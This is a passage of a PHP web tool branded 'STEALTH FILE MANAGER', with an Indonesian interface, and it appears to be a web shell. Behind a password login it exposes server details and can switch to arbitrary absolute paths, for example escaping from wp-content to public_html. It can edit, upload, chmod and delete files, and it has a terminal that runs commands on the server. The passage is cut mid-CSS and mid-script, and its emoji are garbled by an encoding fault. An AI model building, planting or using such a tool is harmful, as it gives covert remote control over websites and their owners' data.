โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .info-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; } .info-item { background: var(--bg2); border-radius: var(--radius); padding: 10px 14px; border: 1px solid var(--border); } .info-item .label { font-size: 10px; color: var(--text3); letter-spacing: 1px; text-transform: uppercase; margin-bottom: 4px; } .info-item .value { font-size: 13px; color: var(--text); word-break: break-all; } /* โโโ SEARCH RESULTS โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .search-result-item { display: flex; align-items: center; gap: 10px; padding: 8px 16px; border-bottom: 1px solid rgba(33,38,45,0.5); cursor: pointer; transition: background var(--transition); } .search-result-item:hover { background: rgba(255,255,255,0.03); } .search-result-item .path { font-size: 11px; color: var(--text3); } /* โโโ PERMISSION GRID โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ .perm-grid { display: grid; grid-template-columns: repeat(3,1fr); gap: 8px; } .perm-col { background: var(--bg2); border-radius: var(--radius); padding: 10px; border: 1px solid var(--border); } .perm-col label { font-size: 10px; color: var(--text3); letter-spacing: 1px; display: block; margin-bottom: 8px; text-transform: uppercase; } .perm-row { display: flex; align-items: center; gap: 6px; margin-bottom: 4px; font-size: 12px; color: var(--text2); } .perm-row input { accent-color: var(--accent); } /* โโโ SCROLLBAR โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ ::-webkit-scrollbar { width: 6px; height: 6px; } ::-webkit-scrollbar-track { background: var(--bg); } ::-webkit-scrollbar-thumb { background: var(--border); border-radius: 3px; } ::-webkit-scrollbar-thumb:hover { background: var(--text3); } /* โโโ RESPONSIVE โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ */ @media (max-width: 768px) { .sidebar { display: none; } .search-bar input { width: 120px; } } </style> </head> <body> <?php if (!fm_is_logged_in()): ?> <!-- ============== LOGIN PAGE ============== --> <div class="login-wrap"> <div class="login-card"> <div class="login-logo"> <span class="logo-icon">๐</span> <h1>STEALTH</h1> <p>FILE MANAGER v<?= FM_VERSION ?></p> </div> <?php if ($msg): ?> <div class="toast" style="margin-bottom:16px; animation:none; pointer-events:all;"> <span>โ</span> <?= htmlspecialchars($msg) ?> </div> <?php endif; ?> <form method="POST" class="login-form"> <input type="hidden" name="action" value="login"> <input type="password" name="password" placeholder="Masukkan password..." autofocus> <button type="submit" class="btn btn-primary">๐ Masuk</button> </form> </div> </div> <?php else: // ============================================================ // MAIN APP // ============================================================ $cur_path = fm_clean_path($_GET['p'] ?? ''); $fm_base = fm_get_base_root(); $cur_full = fm_full_path($cur_path); $quick_roots = fm_discover_quick_roots(); $base_parent = dirname($fm_base); $can_up_root = ($base_parent !== $fm_base && is_dir($base_parent) && is_readable($base_parent)); list($dirs, $files) = fm_list_dir($cur_path); $disk = fm_get_disk_usage($fm_base); $disk_pct = round(($disk['used'] / $disk['total']) * 100); $total_items = count($dirs) + count($files); // Search $search_results = []; if (!empty($_POST['query']) && $_POST['action'] === 'search') { $q = strtolower($_POST['query']); $search_base = fm_norm_path($fm_base) . '/'; $dir_iter = new RecursiveDirectoryIterator($fm_base, RecursiveDirectoryIterator::SKIP_DOTS); $iter = new RecursiveIteratorIterator($dir_iter); foreach ($iter as $f) { if (strpos(strtolower($f->getFilename()), $q) !== false) { $pathname = fm_norm_path($f->getPathname()); $rel = (strpos($pathname, $search_base) === 0) ? substr($pathname, strlen($search_base)) : $pathname; $search_results[] = [ 'name' => $f->getFilename(), 'path' => $rel, 'is_dir' => $f->isDir(), 'size' => $f->isFile() ? $f->getSize() : 0, ]; } } } // Build breadcrumb $parts = $cur_path ? explode('/', $cur_path) : []; ?> <div class="app-wrap"> <!-- TOPBAR --> <div class="topbar"> <div class="topbar-logo"><span>โก</span> STEALTH</div> <!-- Breadcrumb --> <div class="breadcrumb"> <a href="?" title="<?= htmlspecialchars($fm_base) ?>">๐ <?= htmlspecialchars(basename($fm_base) ?: $fm_base) ?></a> <?php $bpath = ''; foreach ($parts as $part): $bpath .= ($bpath ? '/' : '') . $part; ?> <span class="sep">/</span> <a href="?p=<?= urlencode($bpath) ?>"><?= htmlspecialchars($part) ?></a> <?php endforeach; ?> </div> <!-- Search --> <form method="POST" class="search-bar"> <input type="hidden" name="action" value="search"> <span>๐</span> <input type="text" name="query" placeholder="Cari file..." value="<?= htmlspecialchars($_POST['query'] ?? '') ?>" onkeydown="if(event.key==='Enter'){this.form.submit();}"> <button type="submit" style="display:none">Search</button> </form> <div class="topbar-actions"> <span style="color:var(--text3);font-size:11px;"><?= php_uname('n') ?></span> <a href="?action=logout" class="btn btn-ghost" style="font-size:11px;">๐ช Keluar</a> </div> </div> <!-- MAIN --> <div class="main-content"> <!-- SIDEBAR --> <div class="sidebar"> <div class="sidebar-section"> <div class="sidebar-title">Root folder</div> <div class="root-current" title="<?= htmlspecialchars($fm_base) ?>"><?= htmlspecialchars($fm_base) ?></div> <?php if ($can_up_root): ?> <a class="sidebar-item" href="?up_root=1"> <span class="icon">โฌ๏ธ</span> Naik satu tingkat </a> <?php endif; ?> <a class="sidebar-item" href="?" onclick="showModal('root-modal'); return false;"> <span class="icon">๐</span> Ganti path... </a> </div> <div class="sidebar-section root-quick-list"> <div class="sidebar-title">Lokasi cepat</div> <?php foreach ($quick_roots as $qr): $active = fm_norm_path($qr['path']) === fm_norm_path($fm_base); ?> <a class="sidebar-item root-quick <?= $active ? 'active' : '' ?>" href="?set_root=<?= urlencode($qr['path']) ?>" title="<?= htmlspecialchars($qr['path']) ?>"> <span class="icon">๐</span> <span class="root-label"><?= htmlspecialchars($qr['label']) ?></span> </a> <?php endforeach; ?> </div> <div class="sidebar-section"> <div class="sidebar-title">Navigasi</div> <a class="sidebar-item <?= !$cur_path ? 'active' : '' ?>" href="?"> <span class="icon">๐ </span> Root (folder ini) </a> <a class="sidebar-item" href="?" onclick="showModal('upload-modal'); return false;"> <span class="icon">๐ค</span> Upload File </a> <a class="sidebar-item" href="?" onclick="showModal('mkdir-modal'); return false;"> <span class="icon">๐</span> Buat Folder </a> <a class="sidebar-item" href="?" onclick="showModal('newfile-modal'); return false;"> <span class="icon">๐</span> File Baru </a> </div> <div class="sidebar-section"> <div class="sidebar-title">Alat</div> <a class="sidebar-item" href="?" onclick="showModal('terminal-modal'); return false;"> <span class="icon">๐ป</span> Terminal </a> <a class="sidebar-item" href="?" onclick="bulkAction('copy')"> <span class="icon">๐</span> Copy Pilihan </a> <a class="sidebar-item" href="?" onclick="bulkAction('move')"> <span class="icon">โ๏ธ</span> Pindah Pilihan </a> <a class="sidebar-item" href="?" onclick="deleteSelected()"> <span class="icon">๐๏ธ</span> Hapus Pilihan </a> </div> <div class="sidebar-section"> <div class="sidebar-title">Info Server</div> <div class="sidebar-item" style="cursor:default;"> <span class="icon">๐</span> PHP <?= PHP_VERSION ?> </div> <div class="sidebar-item" style="cursor:default;"> <span class="icon">๐พ</span> <?= fm_file_size(FM_MAX_UPLOAD_SIZE) ?> Max </div> <div class="sidebar-item" style="cursor:default;"> <span class="icon">๐ฅ๏ธ</span> <?= PHP_OS ?> </div> </div> <!-- Disk Usage --> <div class="disk-info"> <div class="label">DISK USAGE</div> <div class="disk-bar"><div class="disk-bar-fill" style="width:<?= $disk_pct ?>%"></div></div> <div class="disk-stats"> <span><?= fm_file_size($disk['used']) ?> used</span> <span><?= $disk_pct ?>%</span> </div> <div class="disk-stats" style="margin-top:2px;"> <span style="color:var(--text3)">Free: <?= fm_file_size($disk['free']) ?></span> <span style="color:var(--text3)"><?= fm_file_size($disk['total']) ?></span> </div> </div> </div> <!-- FILE AREA --> <div class="file-area"> <!-- Toolbar --> <div class="toolbar"> <button class="btn btn-ghost" onclick="showModal('upload-modal')">๐ค Upload</button> <button class="btn btn-ghost" onclick="showModal('mkdir-modal')">๐ Folder</button> <button class="btn btn-ghost" onclick="showModal('newfile-modal')">๐ File</button> <div class="toolbar-sep"></div> <button class="btn btn-ghost" onclick="selectAll()">โ๏ธ Semua</button> <button class="btn btn-ghost" onclick="deleteSelected()">๐๏ธ Hapus</button> <button class="btn btn-ghost" onclick="bulkAction('copy')">๐ Copy</button> <button class="btn btn-ghost" onclick="bulkAction('move')">โ๏ธ Pindah</button> <div class="toolbar-sep"></div> <button class="btn btn-ghost" onclick="showModal('root-modal')">๐ Ganti root</button> <button class="btn btn-ghost" onclick="location.reload()">๐ Refresh</button> <?php if ($cur_path): ?> <a href="?p=<?= urlencode(dirname($cur_path) === '.' ? '' : dirname($cur_path)) ?>" class="btn btn-ghost">โฌ๏ธ Naik</a> <?php elseif ($can_up_root): ?> <a href="?up_root=1" class="btn btn-ghost">โฌ๏ธ Naik root</a> <?php endif; ?> </div> <!-- Status bar --> <div class="statusbar"> <span>๐ <?= count($dirs) ?> folder | ๐ <?= count($files) ?> file</span> <span class="sel-count" id="sel-count" style="display:none">0 dipilih</span> <span style="margin-left:auto; color:var(--text3)"> <?= realpath($cur_full) ?: $cur_full ?> </span> </div> <!-- File Table --> <div class="file-table-wrap" id="file-table-wrap"> <?php if (!empty($search_results)): ?> <!-- SEARCH RESULTS --> <div style="padding:12px 16px; font-size:12px; color:var(--accent);"> ๐ <?= count($search_results) ?> hasil untuk "<?= htmlspecialchars($_POST['query'] ?? '') ?>" ยท <a href="?p=<?= urlencode($cur_path) ?>" style="color:var(--text2)">Kembali</a> </div> <?php foreach ($search_results as $sr): ?> <div class="search-result-item" onclick="window.location='?p=<?= urlencode(dirname($sr['path']) === '.' ? '' : dirname($sr['path'])) ?>'"> <span style="font-size:18px;"><?= $sr['is_dir'] ? '๐' : fm_file_icon($sr['name']) ?></span> <div> <div><?= htmlspecialchars($sr['name']) ?></div> <div class="path"><?= htmlspecialchars($sr['path']) ?> <?= !$sr['is_dir'] ? ' ยท ' . fm_file_size($sr['size']) : '' ?> </div> </div> </div> <?php endforeach; ?> <?php else: ?> <table class="file-table"> <thead> <tr> <th class="col-check"><input type="checkbox" id="check-all" onchange="toggleAll(this)"></th> <th class="col-icon"></th> <th class="col-name" onclick="sortTable(2)">Nama โ</th> <th class="col-size" onclick="sortTable(3)">Ukuran โ</th> <th class="col-perms">Perms</th> <th class="col-date" onclick="sortTable(5)">Diubah โ</th> <th class="col-actions">Aksi</th> </tr> </thead> <tbody id="file-tbody"> <?php if ($cur_path): ?> <tr> <td></td> <td class="col-icon">๐</td> <td class="col-name"> <a href="?p=<?= urlencode(dirname($cur_path) === '.' ? '' : dirname($cur_path)) ?>">.. (Naik)</a> </td> <td class="col-size">โ</td> <td class="col-perms">โ</td> <td class="col-date">โ</td> <td></td> </tr> <?php endif; ?> <?php foreach ($dirs as $dir): $dpath = $cur_path ? $cur_path . '/' . $dir : $dir; $dfull = fm_full_path($dpath); $dperms = fm_get_perms($dfull); $dmtime = filemtime($dfull); ?> <tr oncontextmenu="showCtx(event,'<?= addslashes($dir) ?>',true);return false;"> <td class="col-check"> <input type="checkbox" class="item-check" value="<?= htmlspecialchars($dir) ?>" onchange="updateSel()"> </td> <td class="col-icon">๐</td> <td class="col-name"> <a href="?p=<?= urlencode($dpath) ?>">๐ <?= htmlspecialchars($dir) ?></a> </td> <td class="col-size">โ</td> <td class="col-perms"><?= $dperms ?></td> <td class="col-date"><?= date('Y-m-d H:i', $dmtime) ?></td> <td> <div class="file-actions"> <button class="action-btn" onclick="showRename('<?= addslashes($dir) ?>')">โ๏ธ</button> <button class="action-btn" onclick="showChmod('<?= addslashes($dir) ?>','<?= $dperms ?>')">๐</button> <button class="action-btn" onclick="showInfo('<?= addslashes($dir) ?>',true,<?= $dmtime ?>,0,'<?= $dperms ?>')">โน๏ธ</button> <a href="?action=zip_download&p=<?= urlencode($cur_path) ?>&f=<?= urlencode($dir) ?>" class="action-btn green">๐ฆ</a> <button class="action-btn red" onclick="confirmDelete(['<?= addslashes($dir) ?>'])">๐๏ธ</button> </div> </td> </tr> <?php endforeach; ?> <?php foreach ($files as $file): $fpath = $cur_path ? $cur_path . '/' . $file : $file; $ffull = fm_full_path($fpath); $fsize = filesize($ffull); $fperms = fm_get_perms($ffull); $fmtime = filemtime($ffull); $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); ?> <tr oncontextmenu="showCtx(event,'<?= addslashes($file) ?>',false);return false;"> <td class="col-check"> <input type="checkbox" class="item-check" value="<?= htmlspecialchars($file) ?>" onchange="updateSel()"> </td> <td class="col-icon"><?= fm_file_icon($file) ?></td> <td class="col-name"> <?php if (fm_is_text_file($file)): ?> <a href="#" onclick="openEditor('<?= addslashes($file) ?>');return false;"> <?= htmlspecialchars($file) ?> </a> <?php elseif (fm_is_image($file)): ?> <a href="#" onclick="previewImage('<?= addslashes($file) ?>', '?p=<?= urlencode($cur_path) ?>&f=<?= urlencode($file) ?>&preview=1');return false;"> <?= htmlspecialchars($file) ?> </a> <?php else: ?> <span><?= htmlspecialchars($file) ?></span> <?php endif; ?> </td> <td class="col-size"><?= fm_file_size($fsize) ?></td> <td class="col-perms"><?= $fperms ?></td> <td class="col-date"><?= date('Y-m-d H:i', $fmtime) ?></td> <td> <div class="file-actions"> <?php if (fm_is_text_file($file)): ?> <button class="action-btn" onclick="openEditor('<?= addslashes($file) ?>')">โ๏ธ</button> <?php endif; ?> <button class="action-btn" onclick="showRename('<?= addslashes($file) ?>')">๐</button> <a href="?action=download&p=<?= urlencode($cur_path) ?>&f=<?= urlencode($file) ?>" class="action-btn green">โฌ๏ธ</a> <button class="action-btn" onclick="showChmod('<?= addslashes($file) ?>','<?= $fperms ?>')">๐</button> <?php if ($ext === 'zip'): ?> <button class="action-btn" onclick="extractZip('<?= addslashes($file) ?>')">๐ฆ</button> <?php endif; ?> <button class="action-btn red" onclick="confirmDelete(['<?= addslashes($file) ?>'])">๐๏ธ</button> </div> </td> </tr> <?php endforeach; ?> <?php if (!$dirs && !$files): ?> <tr><td colspan="7"> <div class="empty-state"> <span class="icon">๐ญ</span> <p>Folder kosong</p> </div> </td></tr> <?php endif; ?> </tbody> </table> <?php endif; ?> </div> </div> </div> </div> <!-- ============== MODALS ============== --> <!-- Upload Modal --> <div class="modal-overlay" id="upload-modal"> <div class="modal"> <div class="modal-header"> <div class="modal-title">๐ค Upload File</div> <button class="modal-close" onclick="closeModal('upload-modal')">โ</button> </div> <form method="POST" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload"> <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>"> <div class="upload-zone" id="upload-zone" onclick="document.getElementById('file-input').click()"> <input type="file" name="files[]" id="file-input" multiple onchange="showFiles(this)"> <span class="icon">๐</span> <div>Klik atau seret file ke sini</div> <div style="font-size:11px;color:var(--text3);margin-top:4px;"> Max: <?= fm_file_size(FM_MAX_UPLOAD_SIZE) ?> per file </div> </div> <div class="upload-list" id="upload-list"></div> <div class="modal-footer"> <button type="button" class="btn btn-ghost" onclick="closeModal('upload-modal')">Batal</button> <button type="submit" class="btn btn-primary">Upload</button> </div> </form> </div> </div> <!-- Ganti Root Path Modal --> <div class="modal-overlay" id="root-modal"> <div class="modal"> <div class="modal-header"> <div class="modal-title">๐ Ganti folder root</div> <button class="modal-close" onclick="closeModal('root-modal')">โ</button> </div> <p style="color:var(--text2);font-size:12px;margin-bottom:12px;"> Masukkan path absolut server, mis. <code>/home/user/public_html</code>. Berguna jika skrip ada di <code>wp-content</code> tapi ingin mengelola <code>public_html</code>. </p> <form method="POST"> <input type="hidden" name="action" value="set_root_path"> <div class="form-group"> <label class="form-label">Path absolut</label> <input type="text" name="root_path" class="form-input" required placeholder="/home/username/public_html" value="<?= htmlspecialchars($fm_base) ?>"> </div> <div class="modal-footer"> <button type="button" class="btn btn-ghost" onclick="closeModal('root-modal')">Batal</button> <button type="submit" class="btn btn-primary">Buka path ini</button> </div> </form> </div> </div> <!-- Make Directory Modal --> <div class="modal-overlay" id="mkdir-modal"> <div class="modal"> <div class="modal-header"> <div class="modal-title">๐ Buat Folder Baru</div> <button class="modal-close" onclick="closeModal('mkdir-modal')">โ</button> </div> <form method="POST"> <input type="hidden" name="action" value="mkdir"> <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>"> <div class="form-group"> <label class="form-label">Nama Folder</label> <input type="text" name="name" class="form-input" placeholder="nama-folder-baru" autofocus> </div> <div class="modal-footer"> <button type="button" class="btn btn-ghost" onclick="closeModal('mkdir-modal')">Batal</button> <button type="submit" class="btn btn-success">Buat Folder</button> </div> </form> </div> </div> <!-- New File Modal --> <div class="modal-overlay" id="newfile-modal"> <div class="modal"> <div class="modal-header"> <div class="modal-title">๐ Buat File Baru</div> <button class="modal-close" onclick="closeModal('newfile-modal')">โ</button> </div> <form method="POST"> <input type="hidden" name="action" value="newfile"> <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>"> <div class="form-group"> <label class="form-label">Nama File</label> <input type="text" name="name" class="form-input" placeholder="file.txt" autofocus> </div> <div class="modal-footer"> <button type="button" class="btn btn-ghost" onclick="closeModal('newfile-modal')">Batal</button> <button type="submit" class="btn btn-success">Buat File</button> </div> </form> </div> </div> <!-- Rename Modal --> <div class="modal-overlay" id="rename-modal"> <div class="modal"> <div class="modal-header"> <div class="modal-title">โ๏ธ Ubah Nama</div> <button class="modal-close" onclick="closeModal('rename-modal')">โ</button> </div> <form method="POST"> <input type="hidden" name="action" value="rename"> <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>"> <input type="hidden" name="old" id="rename-old"> <div class="form-group"> <label class="form-label">Nama Baru</label> <input type="text" name="new" id="rename-new" class="form-input"> </div> <div class="modal-footer"> <button type="button" class="btn btn-ghost" onclick="closeModal('rename-modal')">Batal</button> <button type="submit" class="btn btn-primary">Ubah Nama</button> </div> </form> </div> </div> <!-- Delete Confirm Modal --> <div class="modal-overlay" id="delete-modal"> <div class="modal"> <div class="modal-header"> <div class="modal-title">๐๏ธ Konfirmasi Hapus</div> <button class="modal-close" onclick="closeModal('delete-modal')">โ</button> </div> <p style="color:var(--text2);margin-bottom:16px;">Item berikut akan dihapus permanen:</p> <div id="delete-list" style="background:var(--bg2);border-radius:var(--radius);padding:10px 14px;margin-bottom:16px;max-height:150px;overflow-y:auto;font-size:12px;color:var(--red)"></div> <form method="POST" id="delete-form"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>"> <div id="delete-inputs"></div> <div class="modal-footer"> <button type="button" class="btn btn-ghost" onclick="closeModal('delete-modal')">Batal</button> <button type="submit" class="btn btn-danger">๐๏ธ Hapus</button> </div> </form> </div> </div> <!-- Move/Copy Modal --> <div class="modal-overlay" id="movecopy-modal"> <div class="modal"> <div class="modal-header"> <div class="modal-title" id="movecopy-title">๐ Copy / Pindah</div> <button class="modal-close" onclick="closeModal('movecopy-modal')">โ</button> </div> <form method="POST" id="movecopy-form"> <input type="hidden" name="action" id="movecopy-action" value="copy"> <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>"> <div id="movecopy-inputs"></div> <div class="form-group"> <label class="form-label">Path tujuan (relatif atau absolut)</label> <input type="text" name="dest" class="form-input" placeholder="subfolder atau /home/user/public_html"> </div> <div class="modal-footer"> <button type="button" class="btn btn-ghost" onclick="closeModal('movecopy-modal')">Batal</button> <button type="submit" class="btn btn-primary" id="movecopy-btn">Lanjutkan</button> </div> </form> </div> </div> <!-- CHMOD Modal --> <div class="modal-overlay" id="chmod-modal"> <div class="modal"> <div class="modal-header"> <div class="modal-title">๐ Ubah Permission</div> <button class="modal-close" onclick="closeModal('chmod-modal')">โ</button> </div> <form method="POST" id="chmod-form"> <input type="hidden" name="action" value="chmod"> <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>"> <input type="hidden" name="item" id="chmod-item"> <div class="perm-grid"> <div class="perm-col"> <label>Owner</label> <div class="perm-row"><input type="checkbox" id="o-r" onchange="updatePerms()"> Read (4)</div> <div class="perm-row"><input type="checkbox" id="o-w" onchange="updatePerms()"> Write (2)</div> <div class="perm-row"><input type="checkbox" id="o-x" onchange="updatePerms()"> Execute (1)</div> </div> <div class="perm-col"> <label>Group</label> <div class="perm-row"><input type="checkbox" id="g-r" onchange="updatePerms()"> Read (4)</div> <div class="perm-row"><input type="checkbox" id="g-w" onchange="updatePerms()"> Write (2)</div> <div class="perm-row"><input type="checkbox" id="g-x" onchange="updatePerms()"> Execute (1)</div> </div> <div class="perm-col"> <label>Others</label> <div class="perm-row"><input type="checkbox" id="a-r" onchange="updatePerms()"> Read (4)</div> <div class="perm-row"><input type="checkbox" id="a-w" onchange="updatePerms()"> Write (2)</div> <div class="perm-row"><input type="checkbox" id="a-x" onchange="updatePerms()"> Execute (1)</div> </div> </div> <div class="form-group" style="margin-top:16px;"> <label class="form-label">Oktal</label> <input type="text" name="perms" id="perms-octal" class="form-input" placeholder="0755" maxlength="4" oninput="syncFromOctal()"> </div> <div class="modal-footer"> <button type="button" class="btn btn-ghost" onclick="closeModal('chmod-modal')">Batal</button> <button type="submit" class="btn btn-primary">Terapkan</button> </div> </form> </div> </div> <!-- Info Modal --> <div class="modal-overlay" id="info-modal"> <div class="modal"> <div class="modal-header"> <div class="modal-title">โน๏ธ Informasi File</div> <button class="modal-close" onclick="closeModal('info-modal')">โ</button> </div> <div class="info-grid" id="info-content"></div> <div class="modal-footer"> <button class="btn btn-ghost" onclick="closeModal('info-modal')">Tutup</button> </div> </div> </div> <!-- Editor Modal --> <div class="modal-overlay" id="editor-modal"> <div class="modal modal-xl"> <div class="modal-header"> <div class="modal-title">โ๏ธ Editor: <span id="editor-filename"></span></div> <div style="display:flex;gap:8px;align-items:center;"> <select id="editor-mode" class="form-select" style="width:120px;padding:4px 8px;" onchange="changeMode()"> <option value="null">Plain</option> <option value="php">PHP</option> <option value="javascript">JavaScript</option> <option value="css">CSS</option> <option value="htmlmixed">HTML</option> <option value="sql">SQL</option> <option value="python">Python</option> <option value="shell">Shell</option> <option value="xml">XML</option> <option value="yaml">YAML</option> <option value="markdown">Markdown</option> </select> <button class="btn btn-success" onclick="saveFile()">๐พ Simpan</button> <button class="modal-close" onclick="closeModal('editor-modal')">โ</button> </div> </div> <div class="editor-body"> <textarea id="code-editor"></textarea> </div> </div> </div> <!-- Image Preview Modal --> <div class="modal-overlay" id="preview-modal"> <div class="modal modal-lg"> <div class="modal-header"> <div class="modal-title" id="preview-title">๐ผ๏ธ Preview</div> <button class="modal-close" onclick="closeModal('preview-modal')">โ</button> </div> <div id="preview-content" style="text-align:center;"></div> <div class="modal-footer"> <button class="btn btn-ghost" onclick="closeModal('preview-modal')">Tutup</button> </div> </div> </div> <!-- Terminal Modal --> <div class="modal-overlay" id="terminal-modal"> <div class="modal modal-lg"> <div class="modal-header"> <div class="modal-title">๐ป Terminal Sederhana</div> <button class="modal-close" onclick="closeModal('terminal-modal')">โ</button> </div> <div id="terminal-output" style="background:var(--bg);border:1px solid var(--border);border-radius:var(--radius);padding:12px;font-size:12px;color:var(--accent2);min-height:200px;max-height:350px;overflow-y:auto;white-space:pre-wrap;font-family:'JetBrains Mono',monospace;"></div> <div style="display:flex;gap:8px;margin-top:12px;"> <span style="color:var(--text2);font-size:12px;align-self:center;">$ </span> <input type="text" id="terminal-input" class="form-input" placeholder="Masukkan perintah... (php, ls, pwd, dll)" onkeydown="if(event.key==='Enter')runCmd()"> <button class="btn btn-ghost" onclick="runCmd()">โถ</button> </div> <div style="font-size:11px;color:var(--text3);margin-top:8px;">โ ๏ธ Perintah dijalankan di server. Gunakan dengan hati-hati.</div> </div> </div> <!-- Extract Modal --> <div class="modal-overlay" id="extract-modal"> <div class="modal"> <div class="modal-header"> <div class="modal-title">๐ฆ Ekstrak ZIP</div> <button class="modal-close" onclick="closeModal('extract-modal')">โ</button> </div> <form method="POST"> <input type="hidden" name="action" value="extract"> <input type="hidden" name="p" value="<?= htmlspecialchars($cur_path) ?>"> <input type="hidden" name="file" id="extract-file"> <p style="color:var(--text2);margin-bottom:16px;">File akan diekstrak ke folder saat ini.</p> <div class="modal-footer"> <button type="button" class="btn btn-ghost" onclick="closeModal('extract-modal')">Batal</button> <button type="submit" class="btn btn-success">๐ฆ Ekstrak</button> </div> </form> </div> </div> <!-- Context Menu --> <div class="ctx-menu" id="ctx-menu"> <div class="ctx-item" id="ctx-open" onclick="ctxAction('open')">๐ Buka</div> <div class="ctx-item" id="ctx-edit" onclick="ctxAction('edit')">โ๏ธ Edit</div> <div class="ctx-item" onclick="ctxAction('rename')">๐ Ubah Nama</div> <div class="ctx-item" onclick="ctxAction('download')">โฌ๏ธ Download</div> <div class="ctx-item" onclick="ctxAction('zip')">๐ฆ Download ZIP</div> <div class="ctx-sep"></div> <div class="ctx-item" onclick="ctxAction('copy')">๐ Copy</div> <div class="ctx-item" onclick="ctxAction('move')">โ๏ธ Pindah</div> <div class="ctx-sep"></div> <div class="ctx-item" onclick="ctxAction('chmod')">๐ Permission</div> <div class="ctx-item" onclick="ctxAction('info')">โน๏ธ Properti</div> <div class="ctx-sep"></div> <div class="ctx-item red" onclick="ctxAction('delete')">๐๏ธ Hapus</div> </div> <!-- Toast Container --> <div class="toast-wrap" id="toast-wrap"></div> <?php if ($msg): ?> <script> window.addEventListener('DOMContentLoaded', function() { showToast('<?= addslashes($msg) ?>', '<?= $msg_type ?>'); }); </script> <?php endif; ?> <!-- CodeMirror --> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/php/php.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/javascript/javascript.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/css/css.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/htmlmixed/htmlmixed.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/sql/sql.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/python/python.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/shell/shell.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/xml/xml.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/yaml/yaml.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/markdown/markdown.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/edit/matchbrackets.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/selection/active-line.min.js"></script> <script> const CUR_PATH = <?= json_encode($cur_path) ?>; let editor = null; let currentEditorFile = ''; let ctxFile = ''; let ctxIsDir = false; // โโ MODAL โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ function showModal(id) { document.getElementById(id).classList.add('active'); setTimeout(() => { const input = document.querySelector('#' + id + ' .form-input'); if (input) input.focus(); }, 100); } function closeModal(id) { document.getElementById(id).classList.remove('active'); } document.addEventListener('keydown', e => { if (e.key === 'Escape') { document.querySelectorAll('.modal-overlay.active').forEach(m => m.classList.remove('active')); hideCtx(); } }); document.addEventListener('click', e => { if (!e.target.closest('.ctx-menu')) hideCtx(); }); // โโ TOAST โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ function showToast(msg, type = 'success') { const icons = { success: 'โ ', error: 'โ', warning: 'โ ๏ธ' }; const t = document.createElement('div'); t.className = 'toast ' + type; t.innerHTML = `<span>${icons[type]||'โน๏ธ'}</span> ${msg}`; document.getElementById('toast-wrap').appendChild(t); setTimeout(() => t.remove(), 4000); } // โโ SELECTION โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ function toggleAll(cb) { document.querySelectorAll('.item-check').forEach(c => c.checked = cb.checked); updateSel(); } function updateSel() { const sel = document.querySelectorAll('.item-check:checked'); const el = document.getElementById('sel-count'); if (sel.length > 0) { el.textContent = sel.length + ' dipilih'; el.style.display = ''; } else { el.style.display = 'none'; document.getElementById('check-all').checked = false; } } function selectAll() { document.querySelectorAll('.item-check').forEach(c => c.checked = true); document.getElementById('check-all').checked = true; updateSel(); } function getSelected() { return [...document.querySelectorAll('.item-check:checked')].map(c => c.value); } // โโ RENAME โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ function showRename(name) { document.getElementById('rename-old').value = name; document.getElementById('rename-new').value = name; showModal('rename-modal'); } // โโ DELETE โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ function confirmDelete(items) { const list = document.getElementById('delete-list'); const inputs = document.getElementById('delete-inputs'); list.innerHTML = items.map(i => `<div>โข ${i}</div>`).join(''); inputs.innerHTML = items.map(i => `<input type="hidden" name="items[]" value="${i}">`).join(''); showModal('delete-modal'); } function deleteSelected() { const sel = getSelected(); if (!sel.length) { showToast('Pilih file dulu!', 'warning'); return; } confirmDelete(sel); } // โโ COPY / MOVE โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ function bulkAction(action) { const sel = getSelected(); if (!sel.length) { showToast('Pilih file dulu!', 'warning'); return; } document.getElementById('movecopy-action').value = action; document.getElementById('movecopy-title').textContent = action === 'copy' ? '๐ Copy' : 'โ๏ธ Pindah'; document.getElementById('movecopy-btn').textContent = action === 'copy' ? 'Copy' : 'Pindah'; document.getElementById('movecopy-inputs').innerHTML = sel.map(i => `<input type="hidden" name="items[]" value="${i}">`).join(''); showModal('movecopy-modal'); } // โโ CHMOD โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ function showChmod(name, perms) { 